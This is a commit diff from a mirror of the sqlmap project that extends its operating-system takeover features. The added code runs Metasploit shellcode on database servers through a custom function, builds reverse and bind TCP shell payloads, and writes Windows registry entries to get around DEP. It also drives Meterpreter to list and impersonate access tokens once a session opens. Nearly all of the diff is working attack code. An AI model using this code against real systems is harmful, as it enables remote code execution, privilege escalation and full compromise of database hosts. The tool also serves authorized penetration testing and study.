mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-24 08:29:07 +00:00
Merged back from personal branch to trunk (svn merge -r846:940 ...)
Changes: * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (--os-bof) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for --first and --last so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if -s option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring.
This commit is contained in:
@@ -48,9 +48,22 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
xp_cmdshell.__init__(self)
|
||||
|
||||
|
||||
def __cmdShellCleanup(self):
|
||||
if not conf.cleanup:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.cleanup()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def execCmd(self, cmd, silent=False, forgeCmd=False):
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.udfExecCmd(cmd, silent)
|
||||
self.udfExecCmd(cmd, silent=silent)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
|
||||
@@ -60,12 +73,12 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def evalCmd(self, cmd):
|
||||
def evalCmd(self, cmd, first=None, last=None):
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
return self.udfEvalCmd(cmd)
|
||||
return self.udfEvalCmd(cmd, first, last)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
return self.xpCmdshellEvalCmd(cmd)
|
||||
return self.xpCmdshellEvalCmd(cmd, first, last)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
@@ -89,8 +102,8 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
else:
|
||||
self.execCmd(cmd, forgeCmd=True)
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
if not conf.osShell and not conf.cleanup:
|
||||
self.__cmdShellCleanup()
|
||||
|
||||
|
||||
def absOsShell(self):
|
||||
@@ -138,20 +151,11 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
|
||||
self.runCmd(command)
|
||||
|
||||
if not conf.cleanup:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.cleanup()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
self.__cmdShellCleanup()
|
||||
|
||||
|
||||
def initEnv(self, mandatory=True, detailed=False):
|
||||
if self.envInitialized == True:
|
||||
if self.envInitialized is True:
|
||||
return
|
||||
|
||||
self.checkDbmsOs(detailed)
|
||||
@@ -162,11 +166,11 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.udfInit()
|
||||
self.udfInjectCmd()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.xpCmdshellInit(mandatory)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
errMsg = "feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
@@ -1,171 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.session import setDEP
|
||||
|
||||
|
||||
class DEP:
|
||||
"""
|
||||
This class defines methods to handle DEP (Data Execution Prevention)
|
||||
|
||||
The following operating systems has DEP enabled by default:
|
||||
* Windows XP SP2+
|
||||
* Windows Server 2003 SP1+
|
||||
* Windows Vista SP0+
|
||||
* Windows 2008 SP0+
|
||||
|
||||
References:
|
||||
* http://support.microsoft.com/kb/875352
|
||||
* http://en.wikipedia.org/wiki/Data_Execution_Prevention
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.bypassDEP = False
|
||||
self.__supportDEP = False
|
||||
|
||||
|
||||
def __initVars(self, exe):
|
||||
self.__DEPvalues = {
|
||||
"OPTIN": "only Windows system binaries are covered by DEP by default",
|
||||
"OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed",
|
||||
"ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway",
|
||||
"ALWAYSOFF": "no DEP coverage for any part of the system"
|
||||
}
|
||||
self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"
|
||||
self.__excRegValue = exe
|
||||
self.__excRegValue = self.__excRegValue.replace("/", "\\")
|
||||
|
||||
|
||||
def __addException(self):
|
||||
infoMsg = "adding an exception to DEP in the Windows registry "
|
||||
infoMsg += "for '%s' executable" % self.__excRegValue
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.dbms == "PostgreSQL":
|
||||
warnMsg = "by default PostgreSQL server runs as postgres "
|
||||
warnMsg += "user which has no privileges to add/delete "
|
||||
warnMsg += "Windows registry keys, sqlmap will give it a try "
|
||||
warnMsg += "anyway"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI")
|
||||
|
||||
|
||||
def delException(self):
|
||||
if self.bypassDEP == False:
|
||||
return
|
||||
|
||||
infoMsg = "deleting the exception to DEP in the Windows registry "
|
||||
infoMsg += "for Metasploit Framework 3 payload stager"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.delRegKey(self.__excRegKey, self.__excRegValue)
|
||||
|
||||
|
||||
def __analyzeDEP(self):
|
||||
detectedValue = False
|
||||
|
||||
for value, explanation in self.__DEPvalues.items():
|
||||
if value in kb.dep:
|
||||
detectedValue = True
|
||||
|
||||
if value in ( "OPTIN", "ALWAYSOFF" ):
|
||||
logger.info(explanation)
|
||||
|
||||
self.bypassDEP = False
|
||||
|
||||
elif value == "OPTOUT":
|
||||
logger.info(explanation)
|
||||
|
||||
self.bypassDEP = True
|
||||
self.__addException()
|
||||
|
||||
elif value == "ALWAYSON":
|
||||
logger.warn(explanation)
|
||||
|
||||
self.bypassDEP = True
|
||||
self.__addException()
|
||||
|
||||
if detectedValue == False:
|
||||
warnMsg = "it was not possible to detect the DEP system "
|
||||
warnMsg += "policy, sqlmap will threat as if "
|
||||
warnMsg += "%s" % self.__DEPvalues["OPTOUT"]
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.__addException()
|
||||
|
||||
|
||||
def __systemHasDepSupport(self):
|
||||
depEnabledOS = {
|
||||
"2003": ( 1, 2 ),
|
||||
"2008": ( 0, 1 ),
|
||||
"XP": ( 2, 3 ),
|
||||
"Vista": ( 0, 1 ),
|
||||
}
|
||||
|
||||
for version, sps in depEnabledOS.items():
|
||||
if kb.osVersion == version and kb.osSP in sps:
|
||||
self.__supportDEP = True
|
||||
break
|
||||
|
||||
|
||||
def handleDep(self, exe):
|
||||
logger.info("handling DEP")
|
||||
|
||||
self.__systemHasDepSupport()
|
||||
|
||||
if self.__supportDEP == True:
|
||||
infoMsg = "the back-end DBMS underlying operating system "
|
||||
infoMsg += "supports DEP: going to handle it"
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif not kb.osVersion or not kb.osSP:
|
||||
warnMsg = "unable to fingerprint the back-end DBMS "
|
||||
warnMsg += "underlying operating system version and service "
|
||||
warnMsg += "pack: going to threat as if DEP is enabled"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.bypassDEP = True
|
||||
|
||||
else:
|
||||
infoMsg = "the back-end DBMS underlying operating system "
|
||||
infoMsg += "does not support DEP: no need to handle it"
|
||||
logger.info(infoMsg)
|
||||
|
||||
return
|
||||
|
||||
logger.info("checking DEP system policy")
|
||||
|
||||
self.__initVars(exe)
|
||||
|
||||
if not kb.dep:
|
||||
kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper()
|
||||
setDEP()
|
||||
|
||||
self.__analyzeDEP()
|
||||
@@ -24,7 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import binascii
|
||||
import os
|
||||
import re
|
||||
import stat
|
||||
@@ -67,6 +66,7 @@ class Metasploit:
|
||||
self.portStr = None
|
||||
self.payloadStr = None
|
||||
self.encoderStr = None
|
||||
self.payloadConnStr = None
|
||||
|
||||
self.resourceFile = None
|
||||
|
||||
@@ -93,14 +93,13 @@ class Metasploit:
|
||||
|
||||
self.__msfConnectionsList = {
|
||||
"windows": {
|
||||
1: ( "Bind TCP (default)", "bind_tcp" ),
|
||||
2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ),
|
||||
3: ( "Reverse TCP", "reverse_tcp" ),
|
||||
4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ),
|
||||
1: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
||||
2: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||
3: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
|
||||
},
|
||||
"linux": {
|
||||
1: ( "Bind TCP (default)", "bind_tcp" ),
|
||||
2: ( "Reverse TCP", "reverse_tcp" ),
|
||||
1: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
||||
2: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -130,8 +129,8 @@ class Metasploit:
|
||||
}
|
||||
|
||||
self.__portData = {
|
||||
"bind": "remote port numer",
|
||||
"reverse": "local port numer",
|
||||
"bind": "remote port number",
|
||||
"reverse": "local port number",
|
||||
}
|
||||
|
||||
|
||||
@@ -186,7 +185,10 @@ class Metasploit:
|
||||
|
||||
|
||||
def __selectEncoder(self, encode=True):
|
||||
if kb.os == "Windows" and encode == True:
|
||||
if isinstance(encode, str):
|
||||
return encode
|
||||
|
||||
elif kb.os == "Windows" and encode is True:
|
||||
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
|
||||
|
||||
|
||||
@@ -330,10 +332,14 @@ class Metasploit:
|
||||
self.payloadStr = self.__selectPayload(askChurrasco)
|
||||
self.encoderStr = self.__selectEncoder(encode)
|
||||
|
||||
if self.payloadStr == "linux/x86/shell":
|
||||
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
|
||||
else:
|
||||
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||
|
||||
|
||||
def __forgeMsfCliCmd(self, exitfunc="process"):
|
||||
self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli
|
||||
self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
||||
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
||||
self.__cliCmd += " LPORT=%s" % self.portStr
|
||||
|
||||
@@ -364,7 +370,7 @@ class Metasploit:
|
||||
self.__resource = "use windows/smb/smb_relay\n"
|
||||
self.__resource += "set SRVHOST %s\n" % self.lhostStr
|
||||
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
||||
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
|
||||
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
|
||||
self.__resource += "set LPORT %s\n" % self.portStr
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
@@ -384,8 +390,7 @@ class Metasploit:
|
||||
|
||||
|
||||
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
||||
self.__payloadCmd = self.__msfPayload
|
||||
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
|
||||
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
||||
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||
self.__payloadCmd += " LPORT=%s" % self.portStr
|
||||
|
||||
@@ -395,19 +400,11 @@ class Metasploit:
|
||||
elif not self.connectionStr.startswith("bind"):
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
if kb.os == "Windows":
|
||||
if kb.os == "Windows" or extra == "BufferRegister=EAX":
|
||||
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
|
||||
|
||||
if extra is not None:
|
||||
self.__payloadCmd += " %s" % extra
|
||||
|
||||
# NOTE: payload stager for Linux can only be encoded if the
|
||||
# Metasploit working copy has been updated after May 11, 2009
|
||||
# (http://trac.metasploit.com/changeset/6543)
|
||||
#
|
||||
# TODO: remember to update this code as soon as Metasploit
|
||||
# Framework 3.3 is out officially and update the user's manual to
|
||||
# notify that sqlmap depends upon Metasploit Framework 3.3
|
||||
else:
|
||||
self.__payloadCmd += " X > %s" % outFile
|
||||
|
||||
@@ -431,6 +428,14 @@ class Metasploit:
|
||||
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||
|
||||
|
||||
def __runMsfShellcodeRemote(self):
|
||||
infoMsg = "running Metasploit Framework 3 shellcode "
|
||||
infoMsg += "remotely via UDF 'sys_bineval', wait.."
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
|
||||
|
||||
|
||||
def __runMsfPayloadRemote(self):
|
||||
infoMsg = "running Metasploit Framework 3 payload stager "
|
||||
infoMsg += "remotely, wait.."
|
||||
@@ -447,11 +452,6 @@ class Metasploit:
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
cmd = self.xpCmdshellForgeCmd(cmd)
|
||||
|
||||
# NOTE: calling the Metasploit payload from a system() function in
|
||||
# C on Windows (check on Linux the behaviour) for some reason
|
||||
# hangs it and the HTTP response goes into timeout, this does not
|
||||
# happen when running the it from Windows cmd.
|
||||
# Investigate and fix if possible
|
||||
self.execCmd(cmd, silent=True)
|
||||
|
||||
|
||||
@@ -459,23 +459,25 @@ class Metasploit:
|
||||
if kb.os != "Windows":
|
||||
return
|
||||
|
||||
if self.resourceFile != None:
|
||||
if self.resourceFile is not None:
|
||||
proc.stdin.write("sessions -l\n")
|
||||
proc.stdin.write("sessions -i %s\n" % metSess)
|
||||
|
||||
proc.stdin.write("getuid\n")
|
||||
|
||||
proc.stdin.write("use espia\n")
|
||||
proc.stdin.write("use incognito\n")
|
||||
proc.stdin.write("use priv\n")
|
||||
proc.stdin.write("use sniffer\n")
|
||||
|
||||
if conf.privEsc == True:
|
||||
print
|
||||
|
||||
infoMsg = "loading Meterpreter 'incognito' extension and "
|
||||
infoMsg += "displaying the list of Access Tokens availables. "
|
||||
infoMsg = "displaying the list of Access Tokens availables. "
|
||||
infoMsg += "Choose which user you want to impersonate by "
|
||||
infoMsg += "using incognito's command 'impersonate_token'"
|
||||
logger.info(infoMsg)
|
||||
|
||||
proc.stdin.write("use incognito\n")
|
||||
proc.stdin.write("getuid\n")
|
||||
proc.stdin.write("list_tokens -u\n")
|
||||
|
||||
|
||||
@@ -520,6 +522,12 @@ class Metasploit:
|
||||
if pwnBofCond or smbRelayCond:
|
||||
func()
|
||||
|
||||
if "Starting the payload handler" in out and "shell" in self.payloadStr:
|
||||
if kb.os == "Windows":
|
||||
proc.stdin.write("whoami\n")
|
||||
else:
|
||||
proc.stdin.write("uname -a ; id\n")
|
||||
|
||||
metSess = re.search("Meterpreter session ([\d]+) opened", out)
|
||||
|
||||
if metSess:
|
||||
@@ -531,18 +539,16 @@ class Metasploit:
|
||||
return returncode
|
||||
|
||||
|
||||
def createMsfShellcode(self):
|
||||
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
||||
infoMsg += "for the exploit"
|
||||
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
||||
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
||||
self.shellcodeChar = ""
|
||||
|
||||
self.__initVars()
|
||||
self.__prepareIngredients(askChurrasco=False)
|
||||
self.__forgeMsfPayloadCmd("seh", "raw", self.__shellcodeFilePath, "-b \"\\x00\\x27\"")
|
||||
self.__prepareIngredients(encode=encode, askChurrasco=False)
|
||||
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||
@@ -551,31 +557,29 @@ class Metasploit:
|
||||
pollProcess(process)
|
||||
payloadStderr = process.communicate()[1]
|
||||
|
||||
if kb.os == "Windows":
|
||||
if kb.os == "Windows" or extra == "BufferRegister=EAX":
|
||||
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
||||
else:
|
||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||
|
||||
if payloadSize:
|
||||
payloadSize = payloadSize.group(1)
|
||||
payloadSize = int(payloadSize.group(1))
|
||||
|
||||
debugMsg = "the shellcode size is %s bytes" % payloadSize
|
||||
if extra == "BufferRegister=EAX":
|
||||
payloadSize = payloadSize / 2
|
||||
|
||||
debugMsg = "the shellcode size is %d bytes" % payloadSize
|
||||
logger.debug(debugMsg)
|
||||
else:
|
||||
errMsg = "failed to create the shellcode (%s)" % payloadStderr
|
||||
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
|
||||
self.__shellcodeString = self.__shellcodeFP.read()
|
||||
self.shellcodeString = self.__shellcodeFP.read()
|
||||
self.__shellcodeFP.close()
|
||||
|
||||
os.unlink(self.__shellcodeFilePath)
|
||||
|
||||
hexStr = binascii.hexlify(self.__shellcodeString)
|
||||
|
||||
for hexPair in range(0, len(hexStr), 2):
|
||||
self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
||||
|
||||
|
||||
def createMsfPayloadStager(self, initialize=True):
|
||||
if initialize == True:
|
||||
@@ -647,14 +651,21 @@ class Metasploit:
|
||||
os.unlink(self.exeFilePathLocal)
|
||||
|
||||
|
||||
def pwn(self):
|
||||
self.__runMsfCli(exitfunc="process")
|
||||
def pwn(self, goUdf=False):
|
||||
if goUdf is True:
|
||||
exitfunc = "thread"
|
||||
func = self.__runMsfShellcodeRemote
|
||||
else:
|
||||
exitfunc = "process"
|
||||
func = self.__runMsfPayloadRemote
|
||||
|
||||
self.__runMsfCli(exitfunc=exitfunc)
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self.__runMsfPayloadRemote()
|
||||
func()
|
||||
|
||||
debugMsg = "Metasploit Framework 3 command line interface exited "
|
||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote)
|
||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
|
||||
@@ -37,20 +37,20 @@ class Registry:
|
||||
This class defines methods to read and write Windows registry keys
|
||||
"""
|
||||
|
||||
def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False):
|
||||
def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
|
||||
self.__regKey = regKey
|
||||
self.__regName = regName
|
||||
self.__regType = regType
|
||||
self.__regValue = regValue
|
||||
self.__regType = regType
|
||||
self.__regData = regData
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
|
||||
self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr)
|
||||
|
||||
if parse == True:
|
||||
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||
else:
|
||||
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\""
|
||||
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
|
||||
|
||||
self.__batRead = (
|
||||
"@ECHO OFF\r\n",
|
||||
@@ -59,24 +59,15 @@ class Registry:
|
||||
|
||||
self.__batAdd = (
|
||||
"@ECHO OFF\r\n",
|
||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue)
|
||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
|
||||
)
|
||||
|
||||
self.__batDel = (
|
||||
"@ECHO OFF\r\n",
|
||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName)
|
||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
|
||||
)
|
||||
|
||||
|
||||
def __execBatPathRemote(self):
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
cmd = self.xpCmdshellForgeCmd(self.__batPathRemote)
|
||||
else:
|
||||
cmd = self.__batPathRemote
|
||||
|
||||
self.execCmd(cmd)
|
||||
|
||||
|
||||
def __createLocalBatchFile(self):
|
||||
self.__batPathFp = open(self.__batPathLocal, "w")
|
||||
|
||||
@@ -102,38 +93,49 @@ class Registry:
|
||||
os.unlink(self.__batPathLocal)
|
||||
|
||||
|
||||
def readRegKey(self, regKey, regName, parse):
|
||||
def readRegKey(self, regKey, regValue, parse=False):
|
||||
self.__operation = "read"
|
||||
|
||||
self.__initVars(regKey, regName, parse=parse)
|
||||
self.__initVars(regKey, regValue, parse=parse)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
logger.debug("reading registry key '%s' name '%s'" % (regKey, regName))
|
||||
logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
|
||||
|
||||
return self.evalCmd(self.__batPathRemote)
|
||||
if not parse:
|
||||
first = len(regKey) + 6
|
||||
else:
|
||||
first = None
|
||||
|
||||
data = self.evalCmd(self.__batPathRemote, first)
|
||||
|
||||
self.delRemoteTempFile(self.__batPathRemote, bat=True)
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def addRegKey(self, regKey, regName, regType, regValue):
|
||||
def addRegKey(self, regKey, regValue, regType, regData):
|
||||
self.__operation = "add"
|
||||
|
||||
self.__initVars(regKey, regName, regType, regValue)
|
||||
self.__initVars(regKey, regValue, regType, regData)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
debugMsg = "adding registry key name '%s' " % self.__regName
|
||||
debugMsg = "adding registry key value '%s' " % self.__regValue
|
||||
debugMsg += "to registry key '%s'" % self.__regKey
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.__execBatPathRemote()
|
||||
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||
self.delRemoteTempFile(self.__batPathRemote, bat=True)
|
||||
|
||||
|
||||
def delRegKey(self, regKey, regName):
|
||||
def delRegKey(self, regKey, regValue):
|
||||
self.__operation = "delete"
|
||||
|
||||
self.__initVars(regKey, regName)
|
||||
self.__initVars(regKey, regValue)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
debugMsg = "deleting registry key name '%s' " % self.__regName
|
||||
debugMsg = "deleting registry key value '%s' " % self.__regValue
|
||||
debugMsg += "from registry key '%s'" % self.__regKey
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.__execBatPathRemote()
|
||||
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||
self.delRemoteTempFile(self.__batPathRemote, bat=True)
|
||||
|
||||
@@ -24,9 +24,21 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import os
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.request import inject
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class UDF:
|
||||
@@ -37,20 +49,71 @@ class UDF:
|
||||
|
||||
def __init__(self):
|
||||
self.createdUdf = set()
|
||||
self.udfs = {}
|
||||
self.udfToCreate = set()
|
||||
|
||||
|
||||
def udfExecCmd(self, cmd, silent=False):
|
||||
def __askOverwriteUdf(self, udf):
|
||||
message = "UDF '%s' already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output[0] in ("y", "Y"):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def __checkExistUdf(self, udf):
|
||||
logger.info("checking if UDF '%s' already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def udfCheckAndOverwrite(self, udf):
|
||||
exists = self.__checkExistUdf(udf)
|
||||
overwrite = True
|
||||
|
||||
if exists is True:
|
||||
overwrite = self.__askOverwriteUdf(udf)
|
||||
|
||||
if overwrite is True:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
|
||||
def udfCreateSupportTbl(self, dataType):
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
|
||||
|
||||
|
||||
def udfExecCmd(self, cmd, silent=False, udfName=None):
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
inject.goStacked("SELECT sys_exec('%s')" % cmd, silent)
|
||||
if udfName is None:
|
||||
cmd = "'%s'" % cmd
|
||||
udfName = "sys_exec"
|
||||
|
||||
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
|
||||
|
||||
|
||||
def udfEvalCmd(self, cmd):
|
||||
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd))
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
|
||||
if udfName is None:
|
||||
cmd = "'%s'" % cmd
|
||||
udfName = "sys_eval"
|
||||
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
|
||||
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||
|
||||
if isinstance(output, (list, tuple)):
|
||||
@@ -62,6 +125,258 @@ class UDF:
|
||||
return output
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
errMsg = "udfInit() method must be defined within the plugin"
|
||||
def udfCreateFromSharedLib(self):
